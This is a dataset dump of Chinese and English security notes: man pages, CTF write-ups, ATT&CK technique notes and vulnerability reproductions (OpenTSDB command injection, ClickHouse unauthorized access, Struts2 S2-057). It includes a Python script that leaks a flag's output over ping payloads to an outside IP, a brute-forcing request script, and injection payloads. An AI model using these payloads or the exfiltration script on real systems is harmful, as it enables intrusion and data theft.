text
stringlengths
100
9.93M
category
stringclasses
11 values
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "CREATE AGGREGATE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME CREATE AGGREGATE \- 定义一个新的聚集函数 .SH SYNOPSIS .sp .nf CREATE AGGREGATE \fIname\fR ( BASETYPE = \fIinput_data_type\fR, SFUNC = \fIsfunc\fR, STYPE = \fIstate_data_type\fR [ , FINALFUNC = \fIffunc\fR ] [ , INITCOND = \fIinitial_condition\fR ] ) .sp .fi .SH "DESCRIPTION 描述" .PP \fBCREATE AGGREGATE\fR 定义一个新的聚集函数。 一些用于基本类型的聚集函数如 min(integer) 和 avg(double precision) 等已经包含在基础软件包里了。 如果你需要定义一个新类型或需要一个还没有提供的聚集函数,这时便可用 CREATE AGGREGATE 来提供我们所需要的特性。 .PP 如果给出了一个模式的名字(比如,CREATE AGGREGATE myschema.myagg ...),那么该聚集函数是在指定模式中创建的。 否则它是在当前模式中创建的。 .PP 一个聚集函数是用它的名字和输入数据类型来标识的。 同一模式中如果两个聚集处理的输入数据不同,它们可以有相同的名字。 一个聚集函数的输入数据类型必须和所有同一模式中的普通函数的名字和输入类型不同。 .PP 一个聚集函数是用一个或两个普通函数做成的: 一个状态转换函数 sfunc, 和一个可选的终计算函数 ffunc. 它们是这样使用的: .sp .nf \fIsfunc\fR( internal-state, next-data-item ) ---> next-internal-state \fIffunc\fR( internal-state ) ---> aggregate-value .sp .fi .PP PostgreSQL 创建一个类型为 stype的临时变量。 它保存这个聚集的当前内部状态。 对于每个输入数据条目, 都调用状态转换函数计算内部状态值的新数值。 在处理完所有数据后,调用一次最终处理函数以计算聚集的返回值。 如果没有最终处理函数,那么将最后的状态值当做返回值。 .PP 一个聚集函数还可能提供一个初始条件,也就是说,所用的该内部状态值的初始值。 这个值是作为一个类型为 text 的字段存储在数据库里的, 不过它们必须是状态值数据类型的合法的外部表现形式的常量。 如果没有提供状态,那么状态值初始化为 NULL。 .PP 如果该状态转换函数被定义为 "strict", 那么就不能用 NULL 输入调用它。这个时候,带有这样的转换函数的聚集执行起来的现象如下所述。 NULL 输入的值被忽略(不调用此函数并且保留前一个状态值)。如果初始状态值是 NULL,那么由第一个非 NULL 值替换该状态值, 而状态转换函数从第二个非 NULL 的输入值开始调用。这样做让我们比较容易实现象 max 这样的聚集。 请注意这种行为只是当 state_type 与 input_data_type 相同的时候才表现出来。 如果这些类型不同,你必须提供一个非 NULL 的初始条件或者使用一个非strice的状态转换函数。 .PP 如果状态转换函数不是 strict(严格)的, 那么它将无条件地为每个输入值调用, 并且必须自行处理 NULL 输入和 NULL 转换值, 这样就允许聚集的作者对聚集中的空值有完全的控制。 .PP 如果终转换函数定义为"strict",则如果最终状态值是 NULL 时就不会调用它; 而是自动输出一个NULL的结果。(当然,这才是 strict 函数的正常特征。) 不管是那种情况,终处理函数可以选择返回 NULL。比如, avg 的终处理函数在零输入记录时就会返回 NULL。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 要创建的聚集函数名(可以有模式修饰的)。 .TP \fB\fIinput_data_type\fB\fR 本聚集函数要处理的基本数据类型。 对于不检查输入类型的聚集来说,这个参数可以声明为"ANY"。 (比如 count(*))。 .TP \fB\fIsfunc\fB\fR 用于处理源数据列里的每一个输入数据的状态转换函数名称。 它通常是一个双参数的函数,第一个参数的类型是 state_data_type 而第二个参数的类型是 input_data_type. 另外,对于一个不检查输入数据的聚集,该函数只接受一个类型为 state_data_type 的参数。 不管是哪种情况,此函数必须返回一个类型为 state_data_type的值。 这个函数接受当前状态值和当前输入数据条目,而返回下个状态值。 .TP \fB\fIstate_data_type\fB\fR 聚集的状态值的数据类型。 .TP \fB\fIffunc\fB\fR 在转换完所有输入域/字段后调用的最终处理函数。它计算聚集的结果。 此函数必须接受一个类型为 state_data_type 的参数。 聚集的输出数据类型被定义为此函数的返回类型。 如果没有声明 ffunc 则使用聚集结果的状态值作为聚集的结果,而输出类型为 state_data_type。 .TP \fB\fIinitial_condition\fB\fR 状态值的初始设置(值)。它必须是一个数据类型 state_data_type 可以接受的文本常量值。 如果没有声明,状态值初始为 NULL。 .PP \fBCREATE AGGREGATE\fR 的参数可以以任何顺序书写,而不只是上面显示的顺序。 .PP .SH "EXAMPLES 例子" .PP 参阅 ``User-defined Aggregates'' .SH "COMPATIBILITY 兼容性" .PP \fBCREATE AGGREGATE\fR 是 PostgreSQL 语言的扩展。 在 SQL 标准里没有 CREATE AGGREGATE。 .SH "SEE ALSO 参见" ALTER AGGREGATE [\fBalter_aggregate\fR(7)], DROP AGGREGATE [\fBdrop_aggregate\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# goland 远程调试 --- 本地的gopath和远端机器不需要一致,go版本也不需要一致 --- ## 远端机器 **go** 需要安装 go 环境,可以用 f8x 装 ```bash wget -O f8x https://f8x.io/ && mv --force f8x /usr/local/bin/f8x && chmod +x /usr/local/bin/f8x f8x -go ``` **dlv** 装一个delve - https://github.com/go-delve/delve/tree/master/Documentation/installation ```bash export GO111MODULE=on && export GOPROXY=https://goproxy.io go install -v github.com/go-delve/delve/cmd/dlv@latest which dlv ln -s /root/go/bin/dlv /usr/local/bin/dlv dlv ``` --- ## 本地 检测下 goland 是否自带 `FTP/SFTP/WebDAV Connectivity` 插件 **添加远程服务器信息** 点击tools->deployment->configuration 添加一个 sftp 添加远程服务器,添加映射 **测试上传** tools->deployment->upload to **开始调试** 右上角的配置,选择go remote 配置远程服务器信息,端口使用默认 会给出远端需要运行的命令 ```bash dlv debug --headless --listen=:2345 --api-version=2 ``` 远端运行后,即可正常调试
sec-knowleage
# vault-door-4 Reverse Engineering, 250 points ## Description: > This vault uses ASCII encoding for the password. ```java import java.util.*; class VaultDoor4 { public static void main(String args[]) { VaultDoor4 vaultDoor = new VaultDoor4(); Scanner scanner = new Scanner(System.in); System.out.print("Enter vault password: "); String userInput = scanner.next(); String input = userInput.substring("picoCTF{".length(),userInput.length()-1); if (vaultDoor.checkPassword(input)) { System.out.println("Access granted."); } else { System.out.println("Access denied!"); } } // I made myself dizzy converting all of these numbers into different bases, // so I just *know* that this vault will be impenetrable. This will make Dr. // Evil like me better than all of the other minions--especially Minion // #5620--I just know it! // // .:::. .:::. // :::::::.::::::: // ::::::::::::::: // ':::::::::::::' // ':::::::::' // ':::::' // ':' // -Minion #7781 public boolean checkPassword(String password) { byte[] passBytes = password.getBytes(); byte[] myBytes = { 106 , 85 , 53 , 116 , 95 , 52 , 95 , 98 , 0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f, 0142, 0131, 0164, 063 , 0163, 0137, 066 , 061 , 'e' , '0' , 'f' , '2' , '7' , '6' , '9' , 'c' , }; for (int i=0; i<32; i++) { if (passBytes[i] != myBytes[i]) { return false; } } return true; } } ``` ## Solution: Let's run reverse logic using Javascript: ```javascript > console.log(String.fromCharCode(106 , 85 , 53 , 116 , 95 , 52 , 95 , 98 , ... 0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f, ... 0142, 0131, 0164, 063 , 0163, 0137, 066 , 061) + ['e' , '0' , 'f' , '2' , '7' , '6' , '9' , 'c'].join("")) jU5t_4_bUnCh_0f_bYt3s_61e0f2769c ```
sec-knowleage
# T1008-备用通信通道 ## 来自ATT&CK描述 如果主要通道受到破坏或无法访问,攻击者可能会使用备用或备用通信通道,以维持可靠的命令和控制并避免数据传输阈值。 主要就是备份,避免权限被清掉,类似于持久化,多种方法维持权限。不过在这里是多种方法维持接收C2指令。 ## 检测 分析不常见数据流的网络数据(例如,客户端发送的数据明显多于从服务器接收的数据)。使用通常没有网络通信或以前从未见过的网络的进程是可疑的。分析数据包内容以检测不遵循正在使用的端口通讯协议的通信。 ## 参考推荐 MITRE-ATT&CK-T1008 <https://attack.mitre.org/techniques/T1008>
sec-knowleage
import subprocess, binascii, time p=subprocess.Popen(["/read_flag"], stdout=subprocess.PIPE, stdin=subprocess.PIPE) p.stdin.write("Give me a...") time.sleep(3) p.stdin.write("... flag!") time.sleep(.5) while True: s=p.stdout.read() i=0 while True: if i*16>len(s): break h=binascii.hexlify(s[16*i:16*i+16]) subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True) i+=1
sec-knowleage
mkisofs === 建立ISO 9660映像文件 ## 补充说明 **mkisofs命令** 用来将指定的目录与文件做成ISO 9660格式的映像文件,以供刻录光盘。 ### 语法 ```shell mkisofs(选项)(参数) ``` ### 选项 ```shell -a或--all:mkisofs通常不处理备份文件。使用此参数可以把备份文件加到映像文件中; -A<应用程序id>或-appid<应用程序ID>:指定光盘的应用程序ID; -abstract<摘要文件>:指定摘要文件的文件名; -b<开机映像文件>或-eltorito-boot<开机映像文件>:指定在制作可开机光盘时所需的开机映像文件; -biblio<ISBN文件>:指定ISBN文件的文件名,ISBN文件位于光盘根目录下,记录光盘的ISBN; -c<开机文件名称>:制作可开机光盘时,mkisofs会将开机映像文件中的全-eltorito-catalog<开机文件名称>全部内容作成一个文件; -C<盘区编号,盘区编号>:将许多节区合成一个映像文件时,必须使用此参数; -copyright<版权信息文件>:指定版权信息文件的文件名; -d或-omit-period:省略文件后的句号; -D或-disable-deep-relocation:ISO 9660最多只能处理8层的目录,超过8层的部分,RRIP会自动将它们设置成ISO 9660兼容的格式。使用-D参数可关闭此功能; -f或-follow-links:忽略符号连接; -h:显示帮助; -hide<目录或文件名>:使指定的目录或文件在ISO 9660或Rock RidgeExtensions的系统中隐藏; -hide-joliet<目录或文件名>:使指定的目录或文件在Joliet系统中隐藏; -J或-joliet:使用Joliet格式的目录与文件名称; -l或-full-iso9660-filenames:使用ISO 9660 32字符长度的文件名; -L或-allow-leading-dots:允许文件名的第一个字符为句号; -log-file<记录文件>:在执行过程中若有错误信息,预设会显示在屏幕上; -m<目录或文件名>或-exclude<目录或文件名>:指定的目录或文件名将不会房入映像文件中; -M<映像文件>或-prev-session<映像文件>:与指定的映像文件合并; -N或-omit-version-number:省略ISO 9660文件中的版本信息; -o<映像文件>或-output<映像文件>:指定映像文件的名称; -p<数据处理人>或-preparer<数据处理人>:记录光盘的数据处理人; -print-size:显示预估的文件系统大小; -quiet:执行时不显示任何信息; -r或-rational-rock:使用Rock Ridge Extensions,并开放全部文件的读取权限; -R或-rock:使用Rock Ridge Extensions; -sysid<系统ID>:指定光盘的系统ID; -T或-translation-table:建立文件名的转换表,适用于不支持Rock Ridge Extensions的系统上; -v或-verbose:执行时显示详细的信息; -V<光盘ID>或-volid<光盘ID>:指定光盘的卷册集ID; -volset-size<光盘总数>:指定卷册集所包含的光盘张数; -volset-seqno<卷册序号>:指定光盘片在卷册集中的编号; -x<目录>:指定的目录将不会放入映像文件中; -z:建立通透性压缩文件的SUSP记录,此记录目前只在Alpha机器上的Linux有效。 ``` ### 参数 路径:需要添加到映像文件中的路径。 ### 实例 linux中用mkisofs命令把文件制作成ISO步骤: 把NFS服务器上的目录挂载到本地/mnt/nfs/的目录: ```shell mount -t nfs 10.0.2.2:/linuxos/rhel4.0_update3/ /mnt/nfs/ ``` 把已挂载的文件复制到本地: ```shell cp -a /mnt/NFS/* /root/Decp -a /mnt/nfs/* /root/Desktop/rhel4.0/&sktop/rhel4.0/& ``` 查找boot.cat文件并删除掉: ```shell find rhel4.0/ -name boot.cat | xargs rm ``` 查找TRANS.TBL文件并删除掉: ```shell find rhel4.0/ -name TRANS.TBL -exec rm {} \; ``` 复制本地的所需文件到指定目录: ```shell cp /usr/share/comps/i386/.discinfo rhel4.0/ ``` 把指定目录下的所有文件制作成ISO文件: ```shell mkisofs -R -J -T -v -no-emul-boot -boot-load-size 4 -boot-info-table -V RHEL4ASDVD -b isolinux/isolinux.bin -c isolinux/boot.cat -o /RHEL4AS.iso rhel4.0/ ```
sec-knowleage
import requests import time # food, kkkkkkkkkkkkkkk payload = '13739ab125b0e528d608eb4c4e5bb184108bf9b47d5cf18a633384a5a5d6c09ab9719c83f5ab5c0751937a39150c920d'.decode('hex') # food, kkkkkkkkkkkkkkkk payload = '13739ab125b0e528d608eb4c4e5bb184c177a61b4512eecea5e60327325a8a1ba090d54455e4763aa8594ffa98763ff0'.decode('hex') url = 'http://fridge.insomnihack.ch/search/' cookies = {'sessionid': 'u5imy1qivt4geo7uk7fden4pqt7itosq'} known = [] x = 0 while x < 256 * 256: i = x // 256 j = x % 256 payload = payload[:-2] + chr(i) + chr(j) print payload[-2:].encode('hex'), r = requests.get(url + payload.encode('hex'), cookies=cookies) text = r.text ignored = "<input type='hidden' name='csrfmiddlewaretoken' value='" if ignored not in text and text not in known: print 'MATCH', len(known) known.append(text) print print text.encode('utf-8') elif ignored in text: print 'csrf' x -= 1 else: print 'known', known.index(text) x += 1 time.sleep(1)
sec-knowleage
# Secrets Android, 376 points ## Description: > Can you find my secrets? An APK file was attached. ## Solution: First, I decomposed the APK file using `apktools`: ```console root@kali:/media/sf_CTFs/tamu/_Secrets# apktool d howdyapp.apk I: Using Apktool 2.3.4-dirty on howdyapp.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files... ``` Then I searched for the flag format - `gigem` - across all files: ```console root@kali:/media/sf_CTFs/tamu/_Secrets# grep -rnw gigem howdyapp/res/layout/activity_main.xml:5: <TextView n1:id="@id/count" n1:layout_width="wrap_content" n1:layout_height="wrap_content" n1:text="@string/initial_count" n1:layout_toLeftOf="@id/gigem" n1:layout_below="@id/button" /> howdyapp/res/layout/activity_main.xml:6: <TextView n1:id="@id/gigem" n1:layout_width="wrap_content" n1:layout_height="wrap_content" n1:text=" gig 'ems" n1:layout_below="@id/button" n1:layout_centerHorizontal="true" /> howdyapp/res/values/ids.xml:35: <item type="id" name="gigem">false</item> howdyapp/res/values/public.xml:592: <public type="id" name="gigem" id="0x7f07002b" /> howdyapp/smali/com/tamu/ctf/howdyapp/R$id.smali:104:.field public static final gigem:I = 0x7f07002b Binary file howdyapp.apk matches ``` Nothing seemed useful, so I searched for `flag`: ```console root@kali:/media/sf_CTFs/tamu/_Secrets# grep -rnw flag howdyapp/res/values/attrs.xml:76: <flag name="bottom" value="0x00000050" /> howdyapp/res/values/attrs.xml:77: <flag name="top" value="0x00000030" /> howdyapp/res/values/attrs.xml:123: <flag name="disableHome" value="0x00000020" /> howdyapp/res/values/attrs.xml:124: <flag name="homeAsUp" value="0x00000004" /> howdyapp/res/values/attrs.xml:125: <flag name="none" value="0x00000000" /> howdyapp/res/values/attrs.xml:126: <flag name="showCustom" value="0x00000010" /> howdyapp/res/values/attrs.xml:127: <flag name="showHome" value="0x00000002" /> howdyapp/res/values/attrs.xml:128: <flag name="showTitle" value="0x00000008" /> howdyapp/res/values/attrs.xml:129: <flag name="useLogo" value="0x00000001" /> howdyapp/res/values/attrs.xml:262: <flag name="barrier" value="0x00000002" /> howdyapp/res/values/attrs.xml:263: <flag name="chains" value="0x00000004" /> howdyapp/res/values/attrs.xml:264: <flag name="dimensions" value="0x00000008" /> howdyapp/res/values/attrs.xml:265: <flag name="direct" value="0x00000001" /> howdyapp/res/values/attrs.xml:266: <flag name="none" value="0x00000000" /> howdyapp/res/values/attrs.xml:267: <flag name="standard" value="0x00000003" /> howdyapp/res/values/attrs.xml:317: <flag name="always" value="0x00000002" /> howdyapp/res/values/attrs.xml:318: <flag name="collapseActionView" value="0x00000008" /> howdyapp/res/values/attrs.xml:319: <flag name="ifRoom" value="0x00000001" /> howdyapp/res/values/attrs.xml:320: <flag name="never" value="0x00000000" /> howdyapp/res/values/attrs.xml:321: <flag name="withText" value="0x00000004" /> howdyapp/res/values/attrs.xml:324: <flag name="beginning" value="0x00000001" /> howdyapp/res/values/attrs.xml:325: <flag name="end" value="0x00000004" /> howdyapp/res/values/attrs.xml:326: <flag name="middle" value="0x00000002" /> howdyapp/res/values/attrs.xml:327: <flag name="none" value="0x00000000" /> howdyapp/res/values/public.xml:743: <public type="string" name="flag" id="0x7f0b0020" /> howdyapp/res/values/strings.xml:35: <string name="flag">Z2lnZW17aW5maW5pdGVfZ2lnZW1zfQ==</string> howdyapp/smali/android/support/annotation/IntDef.smali:12: flag = false howdyapp/smali/android/support/annotation/IntDef.smali:29:.method public abstract flag()Z howdyapp/smali/android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat.smali:301: .param p0, "flag" # I howdyapp/smali/com/tamu/ctf/howdyapp/R$string.smali:82:.field public static final flag:I = 0x7f0b0020 Binary file howdyapp.apk matches ``` The following string stood out: ``` howdyapp/res/values/strings.xml:35: <string name="flag">Z2lnZW17aW5maW5pdGVfZ2lnZW1zfQ==</string> ``` Decoded as base64, it gave the flag: ```console root@kali:/media/sf_CTFs/tamu/_Secrets# echo Z2lnZW17aW5maW5pdGVfZ2lnZW1zfQ== | base64 -d gigem{infinite_gigems} ```
sec-knowleage
# T1596-004-搜索开放的技术数据库-CDN ## 来自ATT&CK的描述 在入侵受害者之前,攻击者可以在内容分发网络(CDN)数据中搜索可在目标确定期间使用的有关受害者的信息。CDN允许组织托管来自分布式负载均衡服务器阵列的内容。CDN还可以允许组织根据请求者的地理区域自定义内容传递。 攻击者可以搜索CDN数据以收集可操作的信息。威胁方可以使用在线资源和查找工具来收集有关CDN内容服务器的信息。攻击者还可能寻求和定位CDN错误配置,这些CDN配置可能泄漏不打算托管的敏感信息,或不具有与组织网站上托管的内容相同的保护机制(例如登录门户)(引自:DigitalShadows CDN)。这些来源提供的信息可能为其他形式的侦察提供可能性(例如:[主动扫描](https://contribute.knowledge.qihoo.net/detail/technique/T1595)或[搜索开放网站/域](https://contribute.knowledge.qihoo.net/detail/technique/T1593)),建立运营资源(例如:[获取基础设施](https://contribute.knowledge.qihoo.net/detail/technique/T1583)或[入侵基础设施](https://contribute.knowledge.qihoo.net/detail/technique/T1584)),或实现初始访问(例如:[路过式下载](https://contribute.knowledge.qihoo.net/detail/technique/T1189))。 ## 测试案例 挖洞经验|从负载均衡或CDN应用中发现的配置类漏洞 <https://www.freebuf.com/vuls/227805.html> ## 检测日志 无 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的监测范围之外,从而使防御者难以发现。 检测工作可能会集中在攻击生命周期的相关阶段,例如在"初始访问"阶段。 ## 参考推荐 MITRE-ATT&CK-T1596-004 <https://attack.mitre.org/techniques/T1596/004/> 挖洞经验|从负载均衡或CDN应用中发现的配置类漏洞 <https://www.freebuf.com/vuls/227805.html>
sec-knowleage
tac === 连接多个文件并以行为单位反向打印到标准输出。 ## 概要 ```shell tac [OPTION]... [FILE]... ``` ## 主要用途 - 按行为单位反向显示文件内容,如果没有文件或文件为`-`则读取标准输入。 - 处理多个文件时,依次将每个文件反向显示,而不是将所有文件连在一起再反向显示。 ## 参数 FILE(可选):要处理的文件,可以为一或多个。 ## 选项 ```shell 长选项与短选项等价 -b, --before 在之前而不是之后连接分隔符。 -r, --regex 将分隔符作为基础正则表达式(BRE)处理。 -s, --separator=STRING 使用STRING作为分隔符代替默认的换行符。 --help 显示帮助信息并退出。 --version 显示版本信息并退出。 ``` ## 返回值 返回状态为成功除非给出了非法选项或非法参数。 ## 例子 ```shell # 选自官方info文档的例子: # 一个接着一个字符的反转一个文件: tac -r -s 'x\|[^x]' test.log # 关于-b选项: seq 1 3 |tac # 输出 3 2 1 # 使用-b选项: seq 1 3 |tac -b # 输出,注意21后面没有换行符: 3 21 # 前一个例子相当于将 '1\n2\n3\n' 转换为 '3\n2\n1\n' # 前一个例子相当于将 '1\n2\n3\n' 转换为 '\n\n3\n21' ``` ### 注意 1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 tac`或`info coreutils 'tac invocation'`。 2. 关于基础正则表达式(BRE)的内容,详见`man -s 1 grep`的`REGULAR EXPRESSIONS`段落。
sec-knowleage
# OpenTSDB 命令注入漏洞(CVE-2020-35476) OpenTSDB是一款基于Hbase的、分布式的、可伸缩的时间序列数据库。在其2.4.0版本及之前,存在一处命令注入漏洞。 参考链接: - https://github.com/OpenTSDB/opentsdb/issues/2051 - https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html ## 漏洞环境 执行如下命令启动一个OpenTSDB 2.4.0: ``` docker compose up -d ``` 服务启动后,访问`http://your-ip:4242`即可看到OpenTSDB的Web接口。 ## 漏洞复现 利用这个漏洞需要知道一个metric的名字,我们可以通过`http://your-ip:4242/api/suggest?type=metrics&q=&max=10`查看metric列表: ![](1.png) 我们这里的metrics是空的。 好在当前OpenTSDB开启了自动创建metric功能(`tsd.core.auto_create_metrics = true`),所以我们可以使用如下API创建一个名为`sys.cpu.nice`的metric并添加一条记录: ``` POST /api/put/ HTTP/1.1 Host: your-ip:4242 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 150 { "metric": "sys.cpu.nice", "timestamp": 1346846400, "value": 20, "tags": { "host": "web01", "dc": "lga" } } ``` 如果目标OpenTSDB存在metric,且不为空,则无需上述步骤。 发送如下数据包,其中参数`m`的值必须包含一个有数据的metric: ``` GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[0:system(%27touch%20/tmp/success%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1 Host: your-ip:4242 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close ``` ![](2.png) 进入容器中可见`touch /tmp/success`已成功执行: ![](3.png)
sec-knowleage
ip6tables-restore === 还原ip6tables表 ## 补充说明 **ip6tables-restore命令** 用来还原ip6tables表。 ### 语法 ```shell ip6tables-restore(选项) ``` ### 选项 ```shell -c:指定在还原iptables表时,还原当前的数据包计数器和字节计数器值; -t:指定要还原的表的名称。 ```
sec-knowleage
.\" Copyright 1993 Rickard E. Faith (faith@cs.unc.edu) .\" May be distributed under the GNU General Public License .TH DMESG 8 .SH NAME dmesg \- print or control the kernel ring buffer .SH 总览 .BI "dmesg [ \-c ] [ \-n " 级别 " ] [ \-s " 缓冲区大小 " ]" .SH 描述 .B dmesg 用于检测和控制内核环缓冲。 程序用来帮助用户了解系统的启动信息。用户只需使用命令: .RS dmesg > boot.messages .RE 然后将文件 .I boot.messages 邮寄给某些可以帮你调试系统的人。而无须手工拷贝系统启动信息。 .SH 选项 .TP .B \-c 当完成打印显示后清除环缓冲内的内容。 .TP .BI \-s 缓冲区大小 定义一个大小为"缓冲区大小"的缓冲区用于查询内核环缓冲区。 默认大小为 8196(此大小与 2.0.33 和 2.1.103 内核的默认 syslog 缓冲区大小一致), 如果你设置了一个大于默认值的环缓冲区, 那你就可以用这个选项定义一个相当的缓冲区 来查看完整的环缓冲区内容。 .TP .BI \-n 级别 设置 .I 级别 为记录控制台启动信息的级别。比如, .B \-n 1 指的就是将此级别设为最低级, 除了内核恐慌信息之外不会向控制台显示信息。 所有级别的启动信息还将记录到 .IR /proc/kmsg , 文件中,因此, .BR syslogd (8) 同样可以用来对信息的输出进行控制。当使用 .B \-n 选项时, .B dmesg 将 .I 不会 清除内核环缓冲区中的内容。 当同时使用以上两个选项时,只有最后一个选项才会产生效果。 .SH 又见 .BR syslogd (8) .SH 作者 Theodore Ts'o (tytso@athena.mit.edu) .SH "[中文版维护人]" .B 所罗门 <solomen@email.com.cn> .SH "[中文版最新更新]" 2001/04/01 .SH "[中国 Linux 论坛 man 手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
.TH "DROPDB" "1" "2003-11-02" "Application" "PostgreSQL Client Applications" .SH NAME dropdb \- 删除一个现有 PostgreSQL 数据库 .SH SYNOPSIS .sp \fBdropdb\fR\fR [ \fR\fB\fIoption\fB\fR...\fB \fR\fR]\fR \fB\fIdbname\fB\fR .SH "DESCRIPTION 描述" .PP \fBdropdb\fR 删除一个现有 PostgreSQL 数据库。 执行这条命令的人必须是数据库超级用户,或者是数据库所有者。 .PP \fBdropdb\fR 是对 SQL 命令 DROP DATABASE [\fBdrop_database\fR(7)] 的封装。因此,用两种方法删除数据库都没什么区别。 .SH "OPTIONS 选项" .PP \fBdropdb\fR 接受下列命令行选项: .TP \fB\fIdbname\fB\fR 声明要删除的数据库名。 .TP \fB-e\fR .TP \fB--echo\fR 回显 dropdb 生成的命令并且把它发送到服务器。 .TP \fB-i\fR .TP \fB--interactive\fR 在做任何破坏性动作前提示。 .TP \fB-q\fR .TP \fB--quiet\fR 不显示响应。 .PP .PP \fBcreateuser\fR 还接受下列命令行参数用作连接参数: .TP \fB-h \fIhost\fB\fR .TP \fB--host \fIhost\fB\fR 声明运行服务器的机器的主机名。 如果数值以斜扛开头,则它被用做到 Unix 域套接字的路径。 .TP \fB-p \fIport\fB\fR .TP \fB--port \fIport\fB\fR 声明服务器 正在侦听的互联网 TCP 端口号或本地Unix域套接字的文件扩展(描述符)。 .TP \fB-U \fIusername\fB\fR .TP \fB--username \fIusername\fB\fR 连接的用户名(不是要创建的用户名)。 .TP \fB-W\fR .TP \fB--password\fR 强制口令提示(与服务器连接的口令,不是新用户的口令。) .PP .SH "ENVIRONMENT 环境" .TP \fBPGHOST\fR .TP \fBPGPORT\fR .TP \fBPGUSER\fR 缺省连接参数。 .SH "DIAGNOSTICS 诊断" .PP 如果出现错误,参阅 DROP DATABASE [\fBdrop_database\fR(7)] 和 \fBpsql\fR(1) 获取可能的问题和错误信息描述。 数据库服务器必须在目标机器上运行。同样,任何前端库 libpq 使用的缺省连接设置和环境变量都将适用。 .SH "EXAMPLES 例子" .PP 删除缺省数据库服务器上的数据库 demo: .sp .nf $ \fBdropdb demo\fR DROP DATABASE .sp .fi .PP 用在主机eden上的服务器删除数据库demo, 端口是 5000,需要确认和显示执行的命令: .sp .nf $ \fBdropdb -p 5000 -h eden -i -e demo\fR Database "demo" will be permanently deleted. Are you sure? (y/n) \fBy\fR DROP DATABASE "demo" DROP DATABASE .sp .fi .SH "SEE ALSO 参见" \fBcreatedb\fR(1), DROP DATABASE [\fBdrop_database\fR(7)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# clickhouse 未授权访问漏洞 ## 漏洞描述 恶意攻击者可以在不提供有效凭据的情况下访问 ClickHouse 服务器。这可能导致未经授权的访问敏感数据,或允许攻击者修改或删除数据。**默认情况下,clickhouse-server会在8123端口上监控HTTP请求(这可以在配置中修改)。** ## 环境搭建 ``` sudo apt-get install -y apt-transport-https ca-certificates dirmngr sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 8919F6BD2B48D754 echo "deb https://packages.clickhouse.com/deb stable main" | sudo tee \ /etc/apt/sources.list.d/clickhouse.list sudo apt-get update sudo apt-get install -y clickhouse-server clickhouse-client sudo service clickhouse-server start clickhouse-client ``` ## 漏洞复现 首先确定是否使用了 ClickHouse 数据库的接口 ``` curl http://192.168.0.5:8123 ``` 根据文档得知,正常返回为 Ok. , 且存在 `X-ClickHouse-Summary` 作为返回包的 Header ![image-20220519222815299](../../.gitbook/assets/image-20220519222815299.png) 测试是否可以执行SQL命令, 部分会开启身份验证导致未授权执行失败 ``` /?query=SHOW%20DATABASES ``` ![image-20220519222912183](../../.gitbook/assets/image-20220519222912183.png) 成功执行语句获取数据,执行其他命令探测出网 ``` http://192.168.0.5:8123/?query=SELECT%20*%20FROM%20url(%27http://cf1cfb13.dns.1433.eu.org/%27,%20CSV,%20%27column1%20String,%20column2%20UInt32%27)%20LIMIT%203; ``` ![image-20220519223412215](../../.gitbook/assets/image-20220519223412215.png) 可以查看 system库中的执行记录表来获取最近执行的所有SQL语句来快速定位可利用的信息(获取敏感用户信息,数据库名以及数据表名)
sec-knowleage
# Struts2 S2-057 Remote Code Execution Vulnerablity (CVE-2018-11776) Affected Version: <= Struts 2.3.34, Struts 2.5.16 Details: - https://cwiki.apache.org/confluence/display/WW/S2-057 - https://lgtm.com/blog/apache_struts_CVE-2018-11776 - https://xz.aliyun.com/t/2618 - https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg ## Setup Start the Struts 2.3.34 environment: ``` docker compose up -d ``` After the environment is started, visit `http://your-ip:8080/showcase/` and you will see the Struts2 test page. ## Exploit S2-057 requires the following conditions:   - `alwaysSelectFullNamespace` is true   - The action element does not have the namespace attribute set, or a wildcard is used The namespace will be passed by the user from uri and parsed as an OGNL expression, eventually cause remote code execution vulnerablity. Payload: ``` http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action ``` ![](1.png) It can be seen that the result of 233*233 has been returned in the Location header. Use payload from [S2-057 vulnerability analysis and POC](https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg): ``` ${ 